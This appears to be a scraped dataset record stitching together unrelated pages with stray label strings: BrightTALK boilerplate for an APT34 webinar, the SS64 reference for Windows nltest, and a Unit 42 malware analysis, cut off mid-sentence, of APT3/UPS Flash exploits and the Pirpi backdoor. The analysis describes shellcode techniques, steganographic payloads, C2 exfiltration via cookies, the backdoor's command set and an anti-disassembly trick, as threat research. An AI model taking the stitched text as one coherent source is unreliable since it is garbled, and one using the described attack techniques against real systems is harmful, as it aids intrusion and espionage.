webcast.start * 1000 | amDateFormat: 'MMM D YYYY h:mm a' ]] [[ (webcast.duration / 60) | number:0 ]] mins \xc2 Products Overview Audience Channel Studios Resources Academy Customer stories Blog Marketing visionaries Company About Culture and careers Leadership Board and advisors Contact Meet Ada Mission and values Support Channel owners Developers Presenters Viewers \xc2\xa9 2018 BrightTALK User agreement Privacy policy Presenter access Embed in website or blog Copy and paste this embed code to your website or blog: Close Your colleagues' emails: Add Successfully added emails: 0 Remove all Your message: Hi, I thought this webinar was interesting and I wanted to share it with you. Title: APT34 - New Targeted Attack in the Middle East Live at: Dec 19 2017 1:30 pm Presented by: STUART DAVIS | DIRECTOR EUROPE, MIDDLE EAST & AFRICA; DAN CABAN | PRINCIPAL CONSULTANT, MIDDLE EAST & AFRICA From: Send Cancel Your email has been sent. Invite more colleagues or close You are confirmed to attend for free on BrightTALK! Save to your calendar to make sure you don't miss the live event Add to calendar Outlook iCal Google APT34 - New Targeted Attack in the Middle East STUART DAVIS | DIRECTOR EUROPE, MIDDLE EAST & AFRICA; DAN CABAN | PRINCIPAL CONSULTANT, MIDDLE EAST & AFRICA [[ webcastStartDate * 1000 | amDateFormat: 'MMM D YYYY h:mm a' ]] 64 mins Skip Next","1","1","0","1","1","1","1","0","1","1","1","1","0","1","0","1","0","0","0","1","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"nltest - Windows CMD - SS64.com ( \xc2 SS64 \xc2 ) CMD Syntax NLTEST.exe Network Location Test - List domain controllers(DCs), Force a remote shutdown, Query the status of trust, test trust relationships and the state of domain controller replication. Syntax NLTEST [/server:servername] [operation[parameter] Key /server: ServerName Run nltest at a remote domain controller: ServerName. default = the local computer (a domain controller). /query Report on the state of the secure channel the last time you used it. (The secure channel is the one that the NetLogon service established.) /repl Force synchronization with the primary domain controller (PDC). Nltest synchronizes only changes that are not yet replicated to the backup domain controller (BDC). NT 4.0 BDCs only, not for Active Directory replication. You must have administrative credentials to use this parameter. /sync Force an immediate synchronization with the PDC of the entire SAM database. NT 4.0 BDCs only, not for Active Directory replication. You must have administrative credentials to use this parameter. /pdc_repl Force the PDC to send a synchronization notification to all BDCs. NT 4.0 PDCs only, not for Active Directory replication. You must have administrative credentials to use this parameter. /sc_query: DomainName Report on the state of the secure channel the last time that you used it. (The secure channel is the one that the NetLogon service established.) This parameter lists the name of the domain controller that you queried on the secure channel, also. /sc_reset:[ DomainName] Remove, and then rebuild, the secure channel that the NetLogon service established. You must have administrative credentials to use this parameter. /sc_verify:[ DomainName] Check the status of the secure channel that the NetLogon service established. If the secure channel does not work, this parameter removes the existing channel, and then builds a new one. You must have administrative credentials to use this parameter. /sc_change_pwd:[ DomainName] Change the password for the trust account of a domain that you specify. If you run nltest on a domain controller, and an explicit trust relationship exists, then nltest resets the password for the interdomain trust account. Otherwise, nltest changes the computer account password for the domain that you specify. /dclist:[ DomainName] List all DCs in the domain. This command first queries Active Directory for a list of DCs. If this query is unsuccessful, nltest then uses the Browser service (if netbios is enabled). /dcname:[ DomainName] List the primary domain controller or the PDC emulator for DomainName. /dsgetdc:[ DomainName] Query the Domain Name System (DNS) server for a list of DCs and their IP addresses. This parameter also contacts each domain controller to check for connectivity. The following list shows the values that you can use to filter the list of DCs or specify alternate names types in the syntax. /PDC: Return only the PDC (Windows NT 4.0) or domain controllers designated as the PDC emulator (Windows 2000 and later). /DS: Return only those DCs that are Windows 2000 and later. /DSP: Return only Windows 2000 and later DCs. If the query finds no such server, then return Windows NT 4.0 DCs. /GC: Return only those DCs that are designated as global catalog servers. /KDC: Return only those DCs that are designated as Kerberos key distribution centers. /TIMESERV: Return only those DCs that are designated as time servers. /GTTIMESERV: Return only DCs designated as master time servers. /WS: /NetBIOS: Specifies computer names in the syntax as NetBIOS names. /DNS: Specify computer names in the syntax as fully qualified domain names (FQDNs). If you do not specify a return format, the DC can return either NetBIOS or DNS format. /IP: Return only DCs that have IP addresses. i.e. return only TCP/IP DCs. /FORCE: Force the computer to run the command against the DNS server instead of looking in the cache for the information. /Writable: Require that the returned DC be writable; All Windows 2000 DCs are writable /Avoidself: When called from a DC, specifies that the returned DC name should not be the current computer. If the current computer is not a DC, this flag is ignored. This flag can be used to obtain the name of another DC in the domain. /LDAPOnly: Specifies that the server returned is an LDAP server. The server returned is not necessarily a DC. This flag can be used with the DS_GC_SERVER_REQUIRED flag to return an LDAP server that also hosts a global catalog server. If this flag is specified, the DS_PDC_REQUIRED, DS_TIMESERV_REQUIRED, DS_GOOD_TIMESERV_PREFERRED, DS_DIRECTORY_SERVICES_PREFERED, DS_DIRECTORY_SERVICES_REQUIRED, and DS_KDC_REQUIRED flags are ignored. /Backg: If the DS_FORCE_REDISCOVERY flag is not specified, this function uses cached DC data. If the cached data is more than 15 minutes old, the cache is refreshed by pinging the DC. If this flag is specified, this refresh is avoided even if the cached data is expired. This flag should be used if the DsGetDcName function is called periodically. /DS_6: Require that the returned DC be running Windows Server 2008 or later. /DS_8: Require that the returned domain controller be running Windows Server 2012 or later. /Try_Next_Closest_Site: When this flag is specified, DsGetDcName attempts to find a DC in the same site as the caller. /Ret_DNS: Specifies that the names returned in the DomainControllerName and DomainName members of DomainControllerInfo should be DNS names. /Ret_NETBIOS: Specifies that the names returned in the DomainControllerName and DomainName members of DomainControllerInfo should be flat names. /dnsgetdc: DomainName Query the DNS server for a list of domain controllers and their corresponding IP addresses. values that you can use to filter the list of DCs: /PDC: Return only those DCs that are PDCs (Windows NT 4.0) or designated as PDC emulators. /GC: Return only those DCs that you designate as global catalogs. /KDC: Return only those DCs that you designate as Kerberos key distribution centers. /WRITABLE: Return only those DCs that can accept changes to the directory database. This value returns all Active Directory DCs, but not Windows NT 4.0 BDCs. /LDAPONLY: Return servers that are running a Lightweight Directory Access Protocol (LDAP) application. The servers can include LDAP servers that are not DCs. /FORCE: Run the command against the DNS server instead of looking in cache. /SITE Sitename: Sort to list first the records that pertain to Sitename. /SITESPEC: Filter the returned records to display only Sitename, used only with /SITE. /dsgetfti: DomainName[ /UpdateTDO] Return information about interforest trusts. You use this parameter only for a Windows Server 2008 domain controller that is in the root of the forest. If no interforest trusts exist, this parameter returns an error. The /UpdateTDO value updates the locally stored information on the interforest trust. /dsgetsite Return the name of the site in which the DC resides. /dsgetsitecov Return the name of the site that the DC covers. A DC can cover a site that has no local DC of its own. /parentdomain Return the name of the parent domain of the server. /dsregdns Refreshe the registration of all DNS records that are specific to a DC that you specify. /dsderegdns: DnsHostName Deregisters DNS host records for the host that you specify in the DnsHostName parameter. values you can use to specify which records nltest deregisters: /DOM: Specify a DNS domain name for the host to use when you search for records on the DNS server. If you do not specify this value, nltest uses the DNS domain name as the suffix of the DnsHostName parameter. /DSAGUID: Deletes Directory System Agent (DSA) records that are based on a GUID. DOMGUID: Deletes DNS records that are based on a globally unique identifier (GUID). /whowill: Domain/ User Find the DC that has the user account that you specify. Use this parameter to determine whether nltest has replicated the account information to other DCs. /finduser: User Find the directly-trusted domain that the user account User belongs to. Use this parameter to troubleshoot logon issues of older client operating systems. /transport_notify Flushe the negative cache to force the discovery of a domain controller. You can use this parameter for Windows NT 4.0 domain controllers only. This operation is done automatically when clients log on to Windows 2000 and Windows Server 2003 domain controllers. /dbflag: HexadecimalFlags Set a new debug flag. For most purposes, use 0x2000FFFF as the value for HexadecimalFlags. The entry in the Windows Server 2003 registry for debug flags is HKLM\\System\\CurrentControlSet\\Services\\Netlogon\\Parameters\\DBFlag. /user: UserName Display many of the attributes that you maintain in the SAM account database for the user that you specify. You cannot use this parameter for user accounts that are stored in an AD database. /time: HexadecimalLSL HexadecimalMSL Convert Windows NT Greenwich Mean Time (GMT) time to ASCII. HexadecimalLSL is a hex value for least significant longword. HexadecimalMSL is a hexa value for most significant longword. /logon_query Query the cumulative number of NTLM logon attempts at a console or over a network. /domain_trusts Returns a list of trusted domains. /Primary /Forest /Direct_Out /Direct_In /All_Trusts /v. values that you can use to filter the list of domains: /Primary: Return only the domain to which the computer account belongs. /Forest: Return only those domains that are in the same forest as the primary domain. /Direct_Out: Return only the domains that are explicitly trusted with the primary domain. /Direct_In: Return only the domains that explicitly trust the primary domain. /All_Trusts: Return all trusted domains. /v: Display verbose output, including any domain SIDs and GUIDs that are available. /dsquerydns Query for the status of the last update for all DNS records that are specific to a DC. /bdc_query: DomainName Query for a list of BDCs in DomainName, and then display their state of synchronization and replication status. You can use this parameter only for Windows NT 4.0 domain controllers. /sim_sync: DomainName ServerName Simulate full synchronization replication. This is a useful parameter for test environments. /list_deltas: FileName Display the contents of the FileName change log file, which lists changes to the user account database. Netlogon.chg is the default name for this log file, which resides only on Windows NT 4.0 BDCs. /cdigest: Message /domain: DomainName Display the current digest that the client uses for the secure channel. (The digest is the calculation that nltest derives from the password.) This parameter displays the digest that is based on the previous password, also. Nltest uses the secure channel for logons between client computers and a domain controller, or for directory service replication between domain controllers. You can use this parameter in conjunction with the /sdigest parameter to check the synchronization of trust account passwords. /sdigest: /rid: RID_In_Hexadecimal Display the current digest that the server uses for the secure channel. (The digest is the calculation that nltest derives from the password.) This parameter displays the digest for the previous password, also. If the digest from the server matches the digest from the client, then nltest synchronizes the passwords that it uses for the secure channel. If the digests do not match, then nltest might not have replicated the password change yet. /shutdown: Reason [Seconds] Remotely shut down the server that you specify in ServerName. Use a string to specify the reason for the shutdown in the Reason value. Use an integer value of Seconds before the shutdown will occur. (see InitiateSystemShutdown in the Platform SDK documentation.) /shutdown_abort Terminate a system shutdown. {/help | /?} Display help at the command prompt. If nltest does not appear to be available, enable the Active Directory Domain Services or the AD LDS server role. Examples Verify domain controllers in a domain: nltest /dclist:ss64dom Show detailed information about a specific user: nltest /user:""user64"" Verify trust relationship with a specific server: nltest /server:ss64-DC01 /sc_query:ss64dom lags: 30 HAS_IP HAS_TIMESERV Trusted DC Name \\\\ss64-DC01.ss64.com Trusted DC Connection Status Status = 0 0x0 NERR_Success The command completed successfully \xe2\x80\x9c..If it disagrees with experiment it is wrong. In that simple statement is the key to science. It does not make any difference how beautiful your guess is. It does not make any difference how smart you are, who made the guess, or what his name is \xe2\x80\x93 if it disagrees with experiment it is wrong\xe2\x80\x9d ~ Richard Feynman Related commands: RepAdmin - Diagnose Active Directory replication problems between domain controllers. DcDiag - Analyze the state of domain controllers and report any problems. DsMgt - Manage password operations over unsecured connections, AD Lightweight Directory Services application partitions, flexible single master operations (FSMO), and clean up AD metadata. SetSpn - Read, modify, or delete the Service Principal Names (SPN) for an Active Directory service account. \xc2 Copyright \xc2\xa9 SS64.com 1999-2019 Some rights reserved","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload Menu Tools Playbooks Speaking Events About Us UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload 7,804 people reacted 0 10 min. read Share By Robert Falcone and Richard Wartell July 27, 2015 at 1:50 PM Category: Malware, Threat Prevention, Unit 42 Tags: ActionScript, Adobe Flash, APT3, AutoFocus, internet explorer, Operation Clandestine Wolf, Pirpi, shellcode, steganography, UPS, WildFire, zero-days A June 23 FireEye blog post titled \xe2\x80\x9cOperation Clandestine Wolf\xe2\x80\x9d discussed a cyber espionage group, known as APT3, that had been exploiting a zero-day vulnerability in Adobe Flash. Unit 42 also tracks the APT3 group using the name UPS, which is an intrusion set with Chinese origins that is known for having early access to zero-day vulnerabilities and delivering a backdoor called Pirpi. The UPS group has exploited several zero-day vulnerabilities, most recently using the zero-days released in the Hacking Team breach that we discussed in our July 10 blog post, \xe2\x80\x9cAPT Group UPS Targets US Government with Hacking Team Flash Exploit\xe2\x80\x9d. However, the most recent original zero-day released by this group is tracked by CVE-2015-3113, which has similarities to the once zero-day vulnerabilities CVE-2014-1776 and CVE-2014-6332 exploited by UPS in May and November 2014, respectively. We\xe2\x80\x99ll discuss here the similarities observed between the various components used to exploit these two vulnerabilities, specifically focusing on the malicious Flash files and the payloads delivered. Malicious Flash Files Recent zero-day vulnerabilities exploited by UPS exploit or leverage Adobe Flash to exploit other applications on the system. Unit 42 recently analyzed malicious Flash files that exploited CVE-2015-3113, which was a zero-day vulnerability in Adobe Flash that was patched on June 23, 2015.. During the analysis, we noticed similarities between this malicious Flash file, those that UPS used to exploit CVE-2014-1776, and the proof-of-concept code for CVE-2014-6332, albeit these two Flash files were used to exploit zero-day vulnerabilities in Internet Explorer. Overlaps within ActionScript Unit 42 analyzed the ActionScript within malicious Flash files created by UPS that exploited CVE-2014-1776 and CVE-2015-3113 and discovered shared code between the two. First, both ActionScripts contain a function named \xe2\x80\x9chexToIntArray\xe2\x80\x9d, which Figure 1 displays side-by-side for comparison. Not only do these files contain the same function name, but they also share the same exact operation codes (opcodes) to carry out its functionality. The existence of the hexToIntArray function in the CVE-2015-3113 sample is rather interesting, as it is never called or used within the ActionScript. We believe that the threat actor used the CVE-2014-1776 ActionScript as the basis for the CVE-2015-3113 file and forgot to remove the unused hexToIntArray function. CVE-2014-1776 CVE-2015-3113 function private::hexToIntArray(String):__AS3__.vec::Vector. { 0\xc2 \xc2 \xc2 getlocal0 1\xc2 \xc2 \xc2 pushscope 2\xc2 \xc2 \xc2 pushnull 3\xc2 \xc2 \xc2 coerce_a 4\xc2 \xc2 \xc2 setlocal2 5\xc2 \xc2 \xc2 getlocal1 6\xc2 \xc2 \xc2 getproperty\xc2 \xc2 \xc2 \xc2 length 8\xc2 \xc2 \xc2 coerce_a 9\xc2 \xc2 \xc2 setlocal3 10\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 0 12\xc2 \xc2 coerce_a 13\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 15\xc2 \xc2 getlex\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Vector 17\xc2 \xc2 getlex\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 int 19\xc2 \xc2 applytype\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 (1) 21\xc2 \xc2 getlocal3 22\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 2 24\xc2 \xc2 divide 25\xc2 \xc2 construct\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 (1) 27\xc2 \xc2 coerce\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 __AS3__.vec::Vector. 29\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 5 31\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 0 33\xc2 \xc2 coerce_a 34\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6 36\xc2 \xc2 jump\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 L1L2: 40\xc2 \xc2 label 41\xc2 \xc2 getlocal1 42\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 44\xc2 \xc2 callproperty\xc2 \xc2 \xc2 http://adobe.com/AS3/2006/builtin::charAt (1) 47\xc2 \xc2 getlocal1 48\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 50\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 1 52\xc2 \xc2 add 53\xc2 \xc2 callproperty\xc2 \xc2 \xc2 http://adobe.com/AS3/2006/builtin::charAt (1) 56\xc2 \xc2 add 57\xc2 \xc2 coerce_a 58\xc2 \xc2 setlocal2 59\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 5 61\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6 63\xc2 \xc2 findpropstrict\xc2 parseInt 65\xc2 \xc2 getlocal2 66\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 16 68\xc2 \xc2 callproperty\xc2 \xc2 \xc2 parseInt (2) 71\xc2 \xc2 setproperty\xc2 \xc2 \xc2 \xc2 null 73\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 75\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 2 77\xc2 \xc2 add 78\xc2 \xc2 coerce_a 79\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 81\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6 83\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 1 85\xc2 \xc2 add 86\xc2 \xc2 coerce_a 87\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6L1: 89\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 91\xc2 \xc2 getlocal3 92\xc2 \xc2 iflt\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 L2 96\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 5 98\xc2 \xc2 returnvalue } function private::hexToIntArray(String):__AS3__.vec::Vector. { 0\xc2 \xc2 \xc2 getlocal0 1\xc2 \xc2 \xc2 pushscope 2\xc2 \xc2 \xc2 pushnull 3\xc2 \xc2 \xc2 coerce_a 4\xc2 \xc2 \xc2 setlocal2 5\xc2 \xc2 \xc2 getlocal1 6\xc2 \xc2 \xc2 getproperty\xc2 \xc2 \xc2 \xc2 length 8\xc2 \xc2 \xc2 coerce_a 9\xc2 \xc2 \xc2 setlocal3 10\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 0 12\xc2 \xc2 coerce_a 13 \xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 15\xc2 \xc2 getlex\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Vector 17\xc2 \xc2 getlex\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 int 19\xc2 \xc2 applytype\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 (1) 21\xc2 \xc2 getlocal3 22\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 2 24\xc2 \xc2 divide 25\xc2 \xc2 construct\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 (1) 27\xc2 \xc2 coerce\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 __AS3__.vec::Vector. 29\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 5 31\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 0 33\xc2 \xc2 coerce_a 34\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6 36\xc2 \xc2 jump\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 L1L2: 40\xc2 \xc2 label 41\xc2 \xc2 getlocal1 42\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 44\xc2 \xc2 callproperty\xc2 \xc2 \xc2 http://adobe.com/AS3/2006/builtin::charAt (1) 47\xc2 \xc2 getlocal1 48\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 50\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 1 52\xc2 \xc2 add 53\xc2 \xc2 callproperty\xc2 \xc2 \xc2 http://adobe.com/AS3/2006/builtin::charAt (1) 56\xc2 \xc2 add 57\xc2 \xc2 coerce_a 58\xc2 \xc2 setlocal2 59\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 5 61\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6 63\xc2 \xc2 findpropstrict\xc2 parseInt 65\xc2 \xc2 getlocal2 66\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 16 68\xc2 \xc2 callproperty\xc2 \xc2 \xc2 parseInt (2) 71\xc2 \xc2 setproperty\xc2 \xc2 \xc2 \xc2 null 73\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 75\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 2 77\xc2 \xc2 add 78\xc2 \xc2 coerce_a 79\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 81\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6 83\xc2 \xc2 pushbyte\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 1 85\xc2 \xc2 add 86\xc2 \xc2 coerce_a 87\xc2 \xc2 setlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 6L1: 89\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 4 91\xc2 \xc2 getlocal3 92\xc2 \xc2 iflt\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 L2 96\xc2 \xc2 getlocal\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 5 98\xc2 \xc2 returnvalue } Figure 1.\xc2 Side-by-side comparison of opcodes in hexToIntArray functions Also, the Flash file exploiting CVE-2015-3113 had a main class named \xe2\x80\x9cflappyMan\xe2\x80\x9d.\xc2 This class name was also used in the Flash file that Unit 42 analyzed and discussed in its November 26, 2014 blog titled \xe2\x80\x9cAddressing CVE-2014-6332 SWF Exploit\xe2\x80\x9d, as well as the proof-of-concept (PoC) for CVE-2014-6332 that is now publicly available in exploit-related forums.\xc2 According to FireEye\xe2\x80\x99s \xe2\x80\x9cOperation Double Tap\xe2\x80\x9c, UPS exploited CVE-2014-6332 in its November 2014 attacks; however, UPS used a VBScript to exploit the vulnerability instead of a Flash file. While purely speculation, this overlap in class names between the CVE-2014-6332 PoC and the Flash file exploiting CVE-2015-3113 may suggest that UPS also used Flash files to exploit CVE-2014-6332. Shellcode Similarities As with most remote code execution vulnerabilities, UPS\xe2\x80\x99 malicious documents execute shellcode in the event of successful exploitation of either CVE-2014-1776 or CVE-2015-3113. The shellcode found in the UPS delivery documents exploiting both of these vulnerabilities are not the same, but have similarities worth noting. First, the delivery documents share the same technique of locating API functions, which involves using the rotate right (ror 7 to be specific) instruction on the function name in kernel32.dll and checking it with a specific value. The use of the same rotate right algorithm results in several common constants, such as 0xC917432 that both shellcodes use to locate LoadLibraryA. Second, both shellcodes use a similar method of creating the Unicode string \xe2\x80\x9ckernel32.dll\xe2\x80\x9d, seen in Figure 2. The shellcodes use the Unicode string and the same method to find the base address of the loaded kernel32.dll module from the LDR structures obtained from the process environment block (PEB). Third, both shellcodes have similar single byte XOR algorithms used to decrypt and later execute the functional payload. Figure 2.\xc2 Comparison of Instructions in UPS Shellcodes that Builds Kernel32.dll Unicode String Steganography to Conceal Payloads While analyzing the malicious Flash file exploiting CVE-2015-3113, Unit 42 discovered that the ActionScript loaded an animated GIF image. The malware author used steganography to embed an encrypted payload within this animated GIF image. The payload in the CVE-2014-1776 was also embedded within an animated GIF. Ultimately, the shellcode executed in the event of successful exploitation of either of these vulnerabilities decrypt and execute the embedded payload, as mentioned in the previous section. While the animated GIFs themselves are vastly different, as seen in Figure 3 and 4 (payloads removed), the use of steganography and animated images as the carrier of the payload is common between the two campaigns. Figure 3.\xc2 Animated GIF \xe2\x80\x9cv.gif\xe2\x80\x9d from UPS Campaign Exploiting CVE-2015-3113 (click to\xc2 see .gif) Figure 4.\xc2 Animated GIF \xe2\x80\x9canyway.gif\xe2\x80\x9d from UPS Campaign Exploiting CVE-2014-1776 Payload Comparison With the amount of overlap between the other components in these separate campaigns, we decided to compare the Pirpi payloads delivered by the UPS group using CVE-2014-1776 and CVE-2015-3113. From here on, we will refer to these two payloads as Pirpi.2014 (CVE-2014-1776) and Pirpi.2015 (CVE-2015-3113), whose details are listed in Table 1. Unit 42 discovered several similarities between the two Pirpi variants, as well as a few equally important differences, both of which are worth discussing. We also compared the Pirpi.2014 and Pirpi.2015 payloads to other known Pirpi samples in an attempt to determine which variant they most closely resemble. File Name File Type Architecture Size MD5 Compile Time SHA256 IePorxyv.dll (Pirpi.2014) PE.DLL X86 86016 B48E578F030A7B5BB93A3E9D6D1E2A83 04:29:14 00:44:04 81BD203EF3924BF497E8824ED5F224561487258FF3D8EE55F1E0907155FD5333 {CVE-2015-3113 payload} (Pirpi.2015) PE.DLL X86 150528 1B0E6BA299A522A3B3B02015A3536F6F 06:07:15 01:51:27 0649A3DD632CDE57BC2E97B814BE81A7F45454FED2A73800DE476AA75CDBE8CD Table 1.\xc2 File Details of Pirpi.2014 and Pirpi.2015 Samples Similarities in C2 Communications Both Pirpi variants perform an initial check to see if a configuration file exists at %APPDATA%\\vcl.tmp or %TEMP%\\vcl.tmp depending on the operating system. If it finds one, it decodes it and uses the configuration data it finds inside for C2 communication, otherwise it uses hardcoded C2 domains encoded inside the binary. The malware then creates threads to begin C2 communication. The Pirpi.2014 and Pirpi.2015 payloads communicate with their C2 by issuing HTTP GET requests to the C2 domain hardcoded inside the payload or within its \xe2\x80\x9cvcl.tmp\xe2\x80\x9d configuration file. While the structure of the C2 URL differs between the two variants, both use the HTTP Cookie field to transmit data in encrypted form to the C2 domain. Figure 6 shows examples of C2 communications from Pirpi.2014 and Figure 7 shows communication with the C2 of Pirpi.2015 malware variants, both containing data within the Cookie field. Figure 5.\xc2 Pirpi.2014 C2 Communication using Cookie Field for Exfiltration Figure 6.\xc2 Pirpi.2015 C2 Communication using Cookie Field for Exfiltration The GET request will return a web page that the malware will parse, specifically looking for encoded commands within two of the HTML tags. Command Loop Overlap Once the two Pirpi variants successfully communicate with their C2 server and parse the returned HTML for commands, Pirpi enters a command loop that processes the commands and carries out the respective activities. The command loop for the backdoor remains largely unchanged between Pirpi.2014 and Pirpi.2015 with only two of the commands differing between the two. Table 2 shows the commands that each malware can accept with only the 35 and 36 commands differing between the two Pirpi variants. Value Pirpi.2014 Command Pirpi.2015 Command 1 Launch Process 2 Process Listing 3 Terminate Process 4 Download a file from the C2, launch it, and then delete it 5 Exit the malware 6 Sleep 7 Update C2 configuration and save it to %APPDATA%\\vcl.tmp 8 Download a file, load it into memory, then delete the file 9 Load a DLL from %APPDATA% and execute one of its exported functions 10 Do nothing 11 Do nothing 12 List all servers in the domain 13 Get network adaptor information 14 List TCP connection status (netstat) 15 Retrieve information about connected users 16 List servers in the primary domain 17 Locates DCs on a domain 32 Directory listing 33 Upload a file to the C2 34 Delete file 35 Copy file and delete original Copy file 36 Download and save file Do Nothing 37 Echo 38 Execute Process 49 Get location of configuration file and set as current working directory Table 2.\xc2 Commands Available within Pirpi.2014 and Pirpi.2015 Anti-Disassembly The UPS threat group is a fan of one anti-disassembly trick that can be seen in both Pirpi.2014 and Pirpi.2015. It plays upon the order IDA Pro disassembles instructions. As you can see in the code sample in Figure 6 from Pirpi.2014 there is a \xe2\x80\x9cjump above\xe2\x80\x9d instruction, followed by a \xe2\x80\x9cjump below or equal\xe2\x80\x9d instruction which just falls through to the next instruction. This fall-through code path will never get executed since the jump occurs if 0x58693C96 > 0x0D7F31B4. Figure 7.\xc2 Code Showing Anti-Disassembly Technique used in Pirpi Tool IDA Pro\xe2\x80\x99s disassembly sequence follows the fall-through branch of conditional jumps first, and thus in the previous instruction sequence, IDA keeps disassembling one instruction after another. When IDA goes back to disassemble the jump target for 0x10009133, it finds it pointing to the middle of an 